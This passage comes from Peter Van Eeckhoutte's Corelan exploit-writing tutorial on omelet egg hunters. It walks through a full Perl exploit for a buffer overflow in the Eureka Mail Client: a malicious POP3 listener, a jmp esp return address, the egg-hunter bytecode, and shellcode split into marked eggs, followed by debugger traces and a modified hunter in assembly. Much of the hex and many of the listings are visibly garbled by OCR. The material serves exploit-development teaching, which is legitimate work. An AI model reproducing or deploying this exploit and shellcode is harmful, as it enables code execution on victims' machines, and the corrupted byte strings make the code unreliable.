"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" $\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a\$ "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" "\x31\x49\x50\x42\x53\x44\x40\x54\x43\x31\x49\x52\x43\x44\x48" "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" $\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50\$ $\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44"$ "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" $\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42"$ $\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b\$ "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" "\x31\x42\x4c\x42\x43\x45\x50\x41\x41"; open(FILE,">\$scfile"); print FILE \$shellcode;

close(FILE);
print "Wrote ".length(\$shellcode)." bytes to file ".\$scfile."\n";

Run the script. File shellcode.bin now contains the binary shellcode. (of course, if you want something else than calc, just replace the contents of \$shellcode.

2. Convert the shellcode to eggs

Let's say we have figured out that we have a number of times of about 130 bytes of memory space at our disposal. So we need to cut the 303 bytes of code in 3 eggs (+ some overhead - so we could end up with 3 to 4 eggs). The maximum size of each egg is 127 bytes. We also need a marker. (6 bytes). We'll use 0xBADA55 as marker. Run the following command to create the shellcode :

```
C:\omelet>w32_SEH_omelet.py
Syntax:
    w32_SEH_omelet.py "omelet bin file" "shellcode bin file" "output txt file"
         [egg size] [marker bytes]
Where:
    omelet bin file = The omelet shellcode stage binary code followed by three
                         bytes of the offsets of the "marker bytes",
                                                                           "max index
                         and "egg size" variables in the code.
    shellcode bin file = The shellcode binary code you want to have stored in
                         the eggs and reconstructed by the omelet shellcode stage
                         code.
    output txt file = The file you want the omelet egg-hunt code and the eggs to be written to (in text format).
    egg size =
                         The size of each egg (legal values: 6-127, default: 127)
                         The value you want to use as a marker to distinguish the eggs from other data in user-land address space (legal
    marker bytes =
                         values: 0-0xFFFFFF, default value: 0x280876)
```

=> in our case, the command could be :

C:\omelet>w32_SEH_omelet.py w32_omelet.bin shellcode.bin calceggs.txt 127 0xBADA55

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

Open the newly created file calceggs.txt. It contains

- the omelet egghunter code (which should be executed and will hunt for the eggs)

- the eggs that must be placed somewhere in memory.

01/03/2010 - 29 / 39

8	calce	992.bt 🔚 corelan_eurekasploit4.pl	1
Γ	1	<pre>// This is the binary code that needs to be executed to find the eggs,</pre>	
	2	// recombine the orignal shellcode and execute it. It is 85 bytes:	L
	3	omelet_code =	L
		"\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0\x7A\xF2\x&E\x50\x89\xFE\xAD\x35\xFF\x55\xD&\x8A\x83\	L
		xF8\x03\x77\x0C\x59\xF7\xE9\x64\x03\x42\x08\x97\xF3\x&4\x89\xF7\x31\xC0\x64\x88\x08\x89\xCC\x5	L
		9\x81\xF9\xFF\xFF\xFF\xFF\xFF\x75\x58\x28\xC7\xFF\xFF\xFF\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\	L
		x40\x78\x06\x97\xE9\xD8\xFF\xFF\xFF\x31\xC0\x64\xFF\x50\x08";	L
	4		L
	5	// These are the eggs that need to be injected into the target process	
	6	<pre>// for the omelet shellcode to be able to recreate the original shellcode</pre>	
	7	// (you can insert them as many times as you want, as long as each one is	
	8	// inserted at least once). They are 127 bytes each:	
	9	egg0 =	
		"\x7&\xFF\x55\xD&\xB&\x89\xE2\xDA\xC1\xD9\x72\xF4\x58\x50\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43	L
		x43\x43\x51\x54\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x4	L
		1\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x42\x42\x42\x58\x50\x38\x41\x43\x44	ľ
		x4&\x49\x4B\x4C\x4A\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4C\x4B\x47\x35\x47\x4C\x4C\x4E\x4B\x43\x4	L
		C\x43\x35\x43\x48\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x42\x38\x4C\x4B\x51\x4F\x47\x50\x4A\	L
		x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43";	L
	10	egg1 =	L
		"\x7A\xFE\x55\xDA\xBA\x31\x4A\x4E\x50\x31\x49\x50\x4C\x59\x4E\x4C\x4C\x44\x49\x50\x43\	L
		x37\x49\x51\x49\x51\x44\x40\x43\x31\x49\x52\x4A\x4B\x54\x47\x4B\x51\x44\x46\x44\x43\x34\x4	L
		2\x55\x4B\x55\x4C\x4B\x51\x4F\x51\x34\x45\x51\x4A\x4B\x42\x46\x4C\x4B\x44\x4C\x50\x4B\x4C\x4B	L
		x51\x4F\x45\x4C\x45\x51\x51\x4A\x4B\x4C\x4B\x4C\x4B\x45\x51\x51\x4A\x4B\x4D\x59\x51\x4C\x47\x5	L
		4\x43\x34\x48\x43\x51\x4F\x46\x51\x4B\x46\x51\x4B\x46\x50\x50\x56\x45\x34\x4C\x4B\x47\x36\x50\x30\x4C\	L
		x4B\x51\x50\x44\x4C\x4C\x4B\x44\x30\x45";	
	11	egg2 =	
		"\x7A\xFD\x55\xDA\xBA\x4C\x4E\x4D\x4C\x4B\x45\x38\x43\x38\x4B\x39\x4A\x58\x4C\x43\x49\x50\x42\	
		x4&\x50\x50\x42\x48\x4C\x30\x4D\x5A\x43\x34\x51\x4F\x45\x38\x44\x48\x38\x4B\x4E\x4D\x5A\x44\x4E\x4	
		6\x37\x4B\x4F\x4D\x37\x42\x43\x45\x31\x42\x42\x43\x45\x50\x41\x41\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40	
		x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\	
		0\x40\x40\x40\x40\x40\x40\x40\x40\x40\x4	

If you look closer at the eggs, you'll see that

- the first 5 bytes contain the size ($0 \times 7A = 122$), index ($0 \times FF 0 \times FE 0 \times FD$), and the marker ($0 \times 55,0 \times DA,0 \times BA = > 0 \times BADA55$). 122 + 5 bytes header = 127 bytes
- the next bytes in the egg are taken from the original shellcode from our calc.exe payload
- in the the last egg, the remaining space is filled with 0×40

3. Build the exploit

Let's test this concept in our Eureka Mail Client exploit. We'll put some garbage between the eggs to simulate that the eggs were placed at random locations in memory :

```
use Socket:
#fill out the local IP or hostname
#which is used by Eureka EMail as POP3 server
#note : must be exact match !
my $localserver = "192.168.0.193";
#calculate offset to EIP
wy $junk = "A" x (723 - length($localserver));
my $ret=pack('V',0x7E47BCAF); #jmp esp from user32.dll
my $padding = "\x90" x 1000;
my $omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0\x7A\xF2".
 \xAE\x50\x89\xFE\xAD\x35\xFF\x55\xDA\xBA\x83\xF8\x03\x77\x0C\x59".
"\xF7\xE9\x64\x03\x42\x08\x97\xF3\xA4\x89\xF7\x31\xC0\x64\x8B\x08".
"\x89\xCC\x59\x81\xF9\xFF\xFF\xFF\xFF\x75\xF5\x5A\xE8\xC7\xFF\xFF"
"\xFF\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x06\x97\xE9\xD8".
"\xFF\xFF\xFF\x31\xC0\x64\xFF\x50\x08";
my $egg1 = "\x7A\xFF\x55\xDA\xBA\x89\xE2\xDA\xC1\xD9\x72\xF4\x58\x50"
 \x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5A\x56\x54\x58\x33".
"\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42".
"\x41\x41\x42\x54\x41\x51\x32\x41\x42\x32\x42\x30\x42\x42\x58".
"\x50\x38\x41\x43\x4A\x49\x4B\x4C\x4A\x48\x50\x44\x43\x30\x43\x30".
"\x45\x50\x4C\x4B\x47\x35\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x43\x48\x45"
\x51\x4A\x4F\x4C\x4B\x50\x4F\x42\x38\x4C\x4B\x51\x4F\x47\x50\x43\x31".
"\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43";
my $egg2 = "\x7A\xFE\x55\xDA\xBA\x31\x4A\x4E\x50\x31\x49\x50\x4C\x59"
"\x4E\x4C\x4C\x44\x49\x50\x43\x44\x43\x37\x49\x51\x49\x5A\x44\x4D\x43"
"\x31\x49\x52\x4A\x4B\x4A\x54\x47\x4B\x51\x44\x46\x44\x43\x34\x42\x55"
"\x4B\x55\x4C\x4B\x51\x4F\x51\x34\x45\x51\x4A\x4B\x42\x46\x4C\x4B\x44".
"\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C".
"\x4C\x4B\x45\x51\x4A\x4B\x4D\x59\x51\x4C\x47\x54\x43\x34\x48\x43\x51"
"\x4F\x46\x51\x4B\x46\x43\x50\x56\x45\x34\x4C\x4B\x47\x36\x50\x30".
"\x4C\x4B\x51\x50\x44\x4C\x4C\x4B\x44\x30\x45";
```

my \$egg3 = "\x7A\xFD\x55\xDA\x8A\x4C\x4E\x4D\x4C\x4B\x45\x38\x43\x38". "\x4B\x39\x4A\x58\x4C\x43\x49\x50\x42\x4A\x50\x50\x42\x48\x4C\x30\x40".

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

01/03/2010 - 30 / 39

```
http://www.corelan.be:8800
```

my \$garbage="This is a bunch of garbage" x 10; my \$payload=\$junk.\$ret.\$omelet_code.\$padding.\$egg1.\$garbage.\$egg2.\$garbage.\$egg3; print "Payload : " . length(\$payload)." bytes\n"; print "Omelet code : " . length(\$omelet_code)." bytes\n"; print " Egg 1 : " . length(\$egg1)." bytes\n"; print " Egg 2 : " . length(\$egg2)." bytes\n"; print " Egg 3 : " . length(\$egg3)." bytes\n"; #set up listener on port 110 my \$port=110; my \$proto=getprotobyname('tcp'); socket(SERVER,PF_INET,SOCK_STREAM,\$proto); my \$paddr=sockaddr_in(\$port,INADDR_ANY); bind(SERVER,\$paddr); listen(SERVER,SOMAXCONN); print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host \n"; my \$client_addr; while(\$client_addr=accept(CLIENT,SERVER)) print "[+] Client connected, sending evil payload\n"; while(1) { print CLIENT "-ERR ".\$payload."\n";
print " -> Sent ".length(\$payload)." bytes\n"; }

"\x5A\x43\x34\x51\x4F\x45\x38\x4A\x38\x4B\x4E\x4D\x5A\x44\x4E\x46\x37".

```
close CLIENT;
print "[+] Connection closed\n";
```

Run the script :

```
C:\sploits\eureka>perl corelan_eurekasploit4.pl
            : 2700 bytes
Payload
Omelet code : 85 bytes
      Egg 1 : 127 bytes
      Egg 2 : 127 bytes
      Egg 3 : 127 bytes
[+] Listening on tcp port 110 [POP3]...
[+] Configure Eureka Mail Client to connect to this host
```

Result : Access Violation when reading [0000000]

Object/colm G7 G7 G7 G7 G7<	00120075 00 78 00120079 50 00120079 50 00120074 596 00120070 25 FF5046A 00120055 57 00 00120055 77 00 00120055 75 00 0000000000000000000000000000000000	TOU EL.70 PREPARENT EVEL PTR ESIGEDIJ PROVESI, EDI LOOS (MORE) PTR DSIGESIJ LOOS (MORE) PTR DSIGESIJ LOOS (MORE) PTR PSIGEDI LOOS (MORE) PTR PSIGEDX+0) TRAL ECX FROMEN, OWNED PTR PSIGEDX+0)	
Operation Operation Cold BVTE PTE Dist (Exc): 4.4. Operation Operation Operation Operation Operation Operation Operation Operation Operation Operation Operation Operation	ECX:FFFFFFFF (decinal 42 FL:7R (***) FS:rED11-FARARARA1-222	34967296.)	
	00459000 0000 04459002 0000 04459014 0000 04459016 0000 04459016 0000 04459016 0000	ADD BYTE PTR DS: (EAC), AL ADD BYTE PTR DS: (EAC), AL	

When looking closer at the code, we see that the first instruction of the omelet code puts 00000000 in EDI (\x31\xFF = XOR EDI,EDI). When it starts reading at that address, we get an access violation. Despite the fact that the code uses custom SEH injection to handle access violations, this one was not handled and the exploit fails. Set a breakpoint at jmp esp (0×7E47BCAF) and run the exploit again. Take not of the registers when the jump to esp is made :

c) Peter Van Eeckhouttie

01/03/2010 - 31 / 39

1	Regi	isters	(FPU)
1	EAX	000000	00
	ECX	709100	SD_ntdll.7C91005D
l		001406	
8			66 Eureka_E.00450266
8		0012CD	
8			FC Eureka_E.00475BFC
	EST	004758	F8 Eureka_E.00475BF8
			78 ASCII "AAAAAAAAAAAAAA
8	EIP	0012CD	16C
3			

Ok, let's troubleshoot this. Start by locating the eggs in memory . After all, perhaps we can put another start address in EDI (other than zero), based on one of these registers and the place where the eggs are located, allowing the omelet code to work properly.

First, write the 3 eggs to files (add the following lines of code in the exploit, before the listener is set up):

open(FILE, ">c:\\tmp\\egg1.bin"); print FILE \$egg1; close(FILE); open(FILE, ">c:\\tmp\\egg2.bin"); print FILE \$egg2; close(FILE);

open(FILE,">c:\\tmp\\egg3.bin");
print FILE \$egg3;
close(FILE);

At the jmp esp breakpoint, run the following commands :



!pvefindaddr compare c:\tmp\egg2.bin

OBADF00D	
0BADF00D Compare memory with bytes in file	
OBADF00D Reading file o: htmp/egg2.bin	
0BADF00D Read 127 bytes from file	
OBADF00D Starting search in memory	
<pre>0BADF00D -> searching for \x7a\xfe\x55\xda\xba\x31\x4a\x4</pre>	e L
OBADF00D Comparing bytes from file with memory :	· · ·
0BADF00D * Reading memory at location : 0x00473DDF	
<pre>0BADF00D -> Hooray, shellcode unmodified</pre>	
0BADF00D * Reading memory at location : 0x00474871	
OBADF00D -> Hooray, shelloode unmodified	
0BADF00D * Reading memory at location : 0x00475428	
<pre>0BADF00D -> Hooray, shellcode unmodified 0BADF00D # Reading memory at location : 0x0012DD67</pre>	
0BADF00D -> Hooray, shellcode unmodified	
Lanonraan	

!pvefindaddr compare c:\tmp\egg3.bin

		_
ØBRDFØØD		
ØBADFØØD	Compare memory with bytes in file	
ABODEADD		
ABONEAAN	Reading file c:\tmp\egg3.bin	
ODADEGOD	Read 127 bytes from file	
06HDF00D	Read izr bytes from file	
ØBADFØØD	Starting search in memory	
OBADFOOD	 -> searching for \x7a\xfd\x55\xda\xba\x4c\x4e\x4d 	
ØBADFØØD	Comparing bytes from file with memory :	· V
ØBODEØØD	* Reading memory at location : 0x00473F62	
GRONFOON	-> Hooray, shelloode unmodified	
ODADF OOD		
REHDFRRD	* Reading memory at location : 0x004749F4	
0BADF00D	-> Hooray, shellcode unmodified	
ØBADFØØD	# Reading memory at location : 0x004755AE	
ØBADFØØD	-> Hooray, shellcode unmodified	
aponeaan	* Reading memory at location : 0x0012DEEA	
ODHOF 000	· Reading Henory at tocation : exect2022H	
0BHDF00D	-> Hooray, shellcode unmodified	

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

Look at the addresses. One copy is found on the stack (0×0012???), other copies are elsewhere in memory (0×0047???). When we look back at the registers, taking

01/03/2010 - 32 / 39

Ok, so the 3 eggs are found in memory, and are not corrupted.

Save the environment - don't print this document !

http://www.corelan.be:8800

into account that we need to find a register that is reliable, and positioned before the eggs, we see the following things :

```
EAX 0000000
ECX 7C91005D ntdll.7C91005D
EDX 00140608
                Eureka E.00450266
ESP 0012CD6C
EBP 00475BFC Eureka_E.00475BFC
ESI 00475BF8 Eureka_E.00475BF8
EDI 00473678 ASCII "AAAAAAAAAAAAA
EIP
     0012CD6C
C 0
      ES 0023 32bit 0(FFFFFFF)
      CS 001B 32bit 0(FFFFFFF)
P 0
Α Θ
      SS 0023 32bit 0(FFFFFFF)
Ζ0
      DS 0023 32bit 0(FFFFFFF)
S
  0
      FS 003B 32bit 7FFDF000(FFF)
      GS 0000 NULL
ΤO
D \Theta
0 0 LastErr ERROR_INVALID_WINDOW_HANDLE (00000578)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty -UNORM FB18 00000202 0000001B
ST1 empty -UNORM B7FC 00000000 F894BBD0
ST2 empty
            -UNORM A70E 06D90000 0120027F
ST3 empty +UNORM 1F80 00400000 BF8131CE
ST4 empty %#.19L
ST5 empty -UNORM CCB4 00000286 0000001B
ST6 empty 9.500000000000000000
ST7 empty 19.00000000000000000
                   3210
                                   ESPUOZDI
FST 0120
            Cond 0 0 0 1
                              Err 0 0 1 0 0 0 0 0
                                                         (LT)
FCW 027F Prec NEAR,53 Mask
                                        1 1 1 1 1 1
```

EBX may be a good choice. But EDI is even better because it already contains a good address, located before the eggs. That means that we just have to leave the current value of EDI (instead of clearing it out) to reposition the omelet hunter. Quick fix : replace the xor edi,edi instruction with 2 nops. The changed omelet code in the exploit nows looks like this :

my \$omelet_code = "\x90\x90\xEB\x23\x51\x64\x89\x20\xFC\xB0\x7A\xF2".
"\xAE\x50\x89\xFE\xAD\x35\xFF\x55\xDA\xB4\x83\xF8\x03\x77\x0C\x59".
"\xF7\xE9\x64\x03\x42\x08\x97\xF3\xA4\x89\xF7\x31\xC0\x64\x88\x08".
"\x89\xCC\x59\x81\xF9\xFF\xFF\xFF\x55\x5A\xE8\xC7\xFF\xFF".
"\xFF\x61\x80\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x06\x97\xE9\xD8".
"\xFF\xFF\xFF\xFF\xFF\x51\xC0\x64\xFF\x50\x08";

Run the exploit again, (Eureka still attached to Immunity Debugger, and with breakpoint on jmp esp again). Breakpoint is hit, press F7 to start tracing. You should see the omelet code start (with 2 nops this time), and instruction "REPNE SCAS BYTE PTR ES:[EDI]" will continue to run until an egg is found. Based on the output of another "!pvefindaddr compare c:\tmp\egg1.bin" command, we should find the egg at 0×00473C5C

01/03/2010 - 33 / 39

Knowledge is not an object, it's a flow



When the first tag is found (and verified to be correct), a location on the stack is calculated (0×00126000 in my case), and the shellcode after the tag is copied to that location. ECX is now used as a counter (counts down to 0) so only the shellcode is copied and the omelet can continue when ECX reaches 0.

776 00120068 777 00120091 777 00120091 777 00120091 777 00120090 705 00120090 705 00120090 705 00120090 705 00120090 705 00120090 705 00120090	97 F3:A4 89F7 31C0 64:8B08 89CC	ACHG EAX, EDI REP HOUS BYTE PTR ES:[EDI], BYTE PTR HOW EDI ESI HOW ECA, EAX HOW ECX, DUORD PTR FS:[EAX] HOW ECX, DUORD PTR FS:[EAX] HOW ECX, -1 JHR SHORT 0012CD98 EDY	0S:
00100000	97 97 97 96 97 97 97 97 97 97 97 98 99 99 91 99 99 91 99 99 91 99 91 99 91 91	POP ECX -1 UNZ SHORT 0012CD98 POP EOX ORLL 0012CD70 POPAD	
74; ECX=0000	006F (decimal 1 =[00473266]=49	11.)	
772 ES: [EDI]	=100473060]=49 =stack [0012600 Hex dump	Disassembly	Connent

When the shellcode in egg1 is copied, (and we can see the garbage after egg1), the omelet code continues its search for part 2

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

3

01/03/2010 - 34 / 39

3

000 EXC. (0000) PTR #5x10000 000 EXC. (0000) EXC. (0000) 000 EXC. (0000) EXC. (0000) 0000 EXC. (0000) EXC. (0000) 00000 EXC. (0000) EXC. (0000) 00000 EXC. (0000)	PTR 044 Excels_E.00473C08	BDI: 004770200 Curret A_LE. 004770500 BDI: 004770200 Curret A_LE. 004770500 BDI: 00210748 Curret A_LE. 004770570 BDI: 00210748 Curret A_LE. 004770570 BDI: 00210748 Curret A_LE. 004770570 BDI: 00210748 Curret A_LE. 004770577 CI: 00210748 Curret A_LE. 00470571 CI: 00210771 Curret A_LE. 00470571 CI: 000000000000000000000000000000000000	
Disassently	Convent	. (AD125710) ELECTION (2:4 G	
PUDP ECX Profe ECX CHC ESP CHC ESP THC ESP CHC ESP CHC ESP CHC ESP CHC ESP		- 00125774 00127000 001 1000 - 00125770 00100 001 1000 - 00125770 0000000 - 00125774 00000000 - 00125774 00000000 - 00125777 000000000	
	NOU EES, BORDELEYS HUD ECC HUD OWED FTR FSILERVI, ESP CU OWED FTR FSILERVI, ESP CU OWED FTR FSILERVI, ESP HUD ESL ESS HUD ESL ESL ESS HUD ESL ESS HUD ESL ESS HUD ESL	Converse Converse	EXECUTE Exects a.g. C. 00472000 EXECUT Exects a.g. C. 00472000

This process repeats itself until all eggs are found and written on the stack. Instead of stopping the search, the omelet code just continues the search... Result : we end up with an access violation again :



So, we know that the omelet code ran properly (we should be able to find the entire shellcode in memory somewhere), but it did not stop when it had to. First, verify that the shellcode in memory is indeed an exact copy of the original shellcode.

We still have the shellcode.bin file that was created earlier (when building the omelet code). Copy the file to c:\tmp and run this command in Immunity Debugger : !pvefindaddr compare c:\tmp\shellcode.bin

01/03/2010 - 35 / 39

00120 OBRDF00D	Corruption at position 297 : Original byte : 42 - Byte in
00120 0BADF00D	Corruption at position 298 : Original byte : 43 - Byte in
00120 0BADF00D	Corruption at position 299 : Original byte : 45 - Byte in
00120 0BHDF00D	Corruption at position 300 : Original byte : 50 - Byte in
00120 OBADF00D	Corruption at position 301 : Original byte : 41 - Byte in
00120 0BHDF00D	Corruption_at position 302 : Original byte : 41 - Byte in
GA120 0BHDF00D	-> Only 122 original bytes found 1
0012F 0BRDF00D	•+
00127 0BADF00D	: FILE : HEHORY :
00120 OBADF00D	••
GG12F BBADF88D	1891e21da1c11d91721f41581891e21da1c11d91721f41581
00120 0BRDF00D	1501591491491491491431431501591491491491491431431
aaior 0880F000	14314314314315115a15615414314314314315115a1561541
00127 0BRDF00D	1581331301561581341411501581331301561581341411501
00127 0BRDF00D	30 41 33 48 48 30 41 30 30 41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 30 41 42 41 41 42 54 41
00120 0BHDF00D	1301411421411411421541411301411421411411421541411
00120 0BRDF00D	1411511321411421321421421411511321411421321421421
0012F 0BRDF00D	1301421421581501381411431301421421581501381411431
00120 0BADF00D	14a14a14914b14c14a14815014a14a14914b14c14a1481501
00127 0BRDF00D	14414313014313014515014c14414313014313014515014c1
GG12F BBADF88D	14b14713514714c14c14b14314b14713514714c14c14b1431
GO1 OF BEADF88D	14c14313514314814515114a14c14313514314814515114a1
0010F 0BRDF00D	14f14c14b15014f14213814c14f14c14b15014f14213814c1
00120 0BADF00D	<pre>[4b]51]4f]47]50]43]31]4a]4b]51]4f]47]50]43]31]4a]</pre>
00107 0BADF00D	<pre>i4b(51)59(4c)4b(46)54(4c)4b(51)59(4c)4b(46)54(4c)</pre>
00120 OBADFOOD	14b14313114a14e15013114914b1431
00120 0BADF00D	15814c15914c14c14c1441491111111111
00120 0BADF00D	1501431441431371491511491111111111
00120 0BADF00D	[5a]44]4d]43]31]49[52]4a][][]][]]
00120 0BADF00D	14b14a15414714b1511441461111111111
00120 0BADF00D	14414313414215514b15514o111111111
00120 0BADF00D	4b15114f15113414515114a1111111111
00120 0BADF00D	4b14214614c14b14414c150111111111
00120 0BADF00D	14b14c14b15114f14514c1451111111111
00120 0BADF00D	15114a14b14c14b14514c14c111111111
00120 0BADF00D	14b14515114a14b14d1591511111111111
00120 0BADF00D	!40!47!54!43!34!48!43!51!!!!!!!!!
00120 0BADF00D	4f 46 51 46 46 43 50 50
00120 0BADF00D	56 45 34 40 46 47 36 50
00120 0BADF00D	13014c14b15115014414c14c111111111
00120 0BADF00D	14b14413814514c14e14d14c111111111
00120 0BADF00D	4b 45 38 43 38 4b 39 4a
00120 0BADF00D	158 40 43 49 50 42 4a 50
00120 0BADF00D 00120 0BADF00D	50 42 48 4c 30 4d 5a 43
00120 0BADF00D	34/51/4f/45/38/4a/38/4b/////////
0012C 0BADF00D	14e14d15a14414e14613714b111111111
00120 00000000	14f 14d 137 142 143 145 131 142 I I I I I I I I I-
00120 00000000	4c 42 43 45 50 41 41
00120 00000000	
SSISS REPRESENT	
	# Reading memory at location : 0x00126000
00120 UBHUF UUL	-> Hooray, shelloode uppodified
0012U 0000000000000000000000000000000000	* Reading memory at location : 0x0012DBE9
	Corruption at position 122 : Original byte : 31 - Byte in
0012C 0BHDF00D 0BADF00D	Corruption at position 123 : Original byte : 4a - Byte in
ECX=F aponegan	Corruption at position 124 : Original byte : 4e - Byte in
AL=7F OBADFOOD	Corruption at position 125 : Original byte : 50 - Byte in

ok, the entire unmodified shellcode was indeed found at 0×00126000. That's great, because it proves that the omelet worked fine... it just did not stop searching, tripped at the end, fell flat on the floor and died.

Damn

Fixing the omelet code - welcome corelanc0d3r's omelet

Since the eggs are in the right order in memory, perhaps a slight modification of the omelet code may make it work. What if we use one of the registers to keep track of the remaining number of eggs to find, and make the code jump to the shellcode when this register indicates that all eggs have been found.

Let's give it a try (Although I'm not a big asm expert, I'm feeling lucky today :))

We need to start the omelet code with creating a start value that will be used to count the number of eggs found : 0 - the number of eggs or 0xFFFFFFFF - number of eggs + 1 (so if we have 3 eggs, we'll use FFFFFFD). After looking at the omelet code (in the debugger), I've noticed that EBX is not used, so we'll store this value in EBX. Next, what I'll make the omelet code do is this : each time an egg is found, increment this value with one. When the value is FFFFFFF, all eggs have been found, so we can make the jump.

Opcode for putting 0xFFFFFFD in EBX is \xbb\xfd\xff\xff\xff. So we'll need to start the omelet code with this instruction.

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

Then, after the shellcode from a given egg is copied to the stack, we'll need to verify if we have seen all the eggs or not. (so we'll compare EBX with FFFFFFF. If they are the same, we can jump to the shellcode. If not, increment EBX.) Copying the shellcode to the stack is performed via the following instruction : F3:A4, so the check and increment must be placed right after.



Right after this instruction, we'll insert the compare, jump if equal, and "INC EBX" (\x43) Let's modify the master asm code :

BITS 32

- ; egg: ; LL II M1 M2 M3 DD DD DD ... (LL * DD) ; LL == Size of eggs (same for all eggs)
- III == Index of egg (different for each egg)
 M1,M2,M3 == Marker byte (same for all eggs)
- DD == Data in egg (different for each egg)
- ; Original code by skylined ; Code tweaked by Peter Van Eeckhoutte

01/03/2010 - 36 / 39

```
; peter.ve[at]corelan.be
; http://www.corelan.be:8800
marker equ 0x280876
egg_size equ 0x3
max_index equ 0x2
start:
  mov ebx,0xffffffff-egg_size+1 ; ** Added : put initial counter in EBX
           SHORT reset_stack
  jmp
create_SEH_handler:
  PUSH
                                       ; SEH_frames[0].nextframe == 0xFFFFFFF
; SEH_chain -> SEH_frames[0]
           ECX
            [FS:EAX], ESP
  MOV
                                        ; SCAN memory upwards from 0
  CLD
scan_loop:
  MOV
           AL, egg_size
                                        ; EAX = egg_size
egg_size_location equ $-1 - $$
  REPNE
           SCASB
                                        ; Find the first byte
  PUSH
           EAX
                                        ; Save egg_size
  MOV
           ESI, EDI
                                        ; EAX = II M2 M3 M4
F ; EDX = (II M2 M3 M4) ^ (FF M2 M3 M4)
  LODSD
           EAX, (marker << 8) + 0xFF
  XOR
                                            == egg index
marker_bytes_location equ $-3 - $$
  CMP
           EAX, BYTE max_index
                                       ; Check if the value of EDX is < max_index
max_index_location equ $-1 - $$
  JA
            reset_stack
                                        ; No -> This was not a marker, continue scan
  P0P
           FCX
                                         ECX = egg_size
                                        ; EAX = egg_size * egg_index == egg_offset
  TMU
           FCX
           0 because ECX * EAX is always less than 0x1,000,000
EAX, [BYTE FS:EDX + 8] ; EDI += Bottom of stack ==
  : FDX =
  ADD
                                             position of egg in shellcode.
                                     ;
  XCHG
           EAX, EDI
copy_loop:
REP
           MOVSB
                                        ; copy egg to basket
                                          ** Added : see if we have found all eggs
** Added : If we have found all eggs,
           EBX, 0xFFFFFFF
  CMP
  JE
           done
                                          ** jump to shellcode
                                          ** Added : increment EBX
  INC
           EBX
                                          (if we are not at the end of the eggs)
  MOV
           EDI, ESI
                                        ; EDI = end of egg
reset_stack:
; Reset the stack to prevent problems cause by recursive SEH handlers and set
 ourselves up to handle and AVs we may cause by scanning memory: XOR EAX, EAX ; EAX = 0
           EAX, EAX
           ECX, [FS:EAX]
                                        ; EBX = SEH_chain => SEH_frames[X]
  MOV
find last SEH loop:
  MOV
           ESP, ECX
                                        ; ESP = SEH frames[X]
  POP
           ECX
                                         EBX = SEH_frames[X].next_frame
                                        ;
  CMP
           ECX, 0xFFFFFFFF
                                         SEH_frames[X].next_frame == none ?
                                         No "X -= 1", check next frame
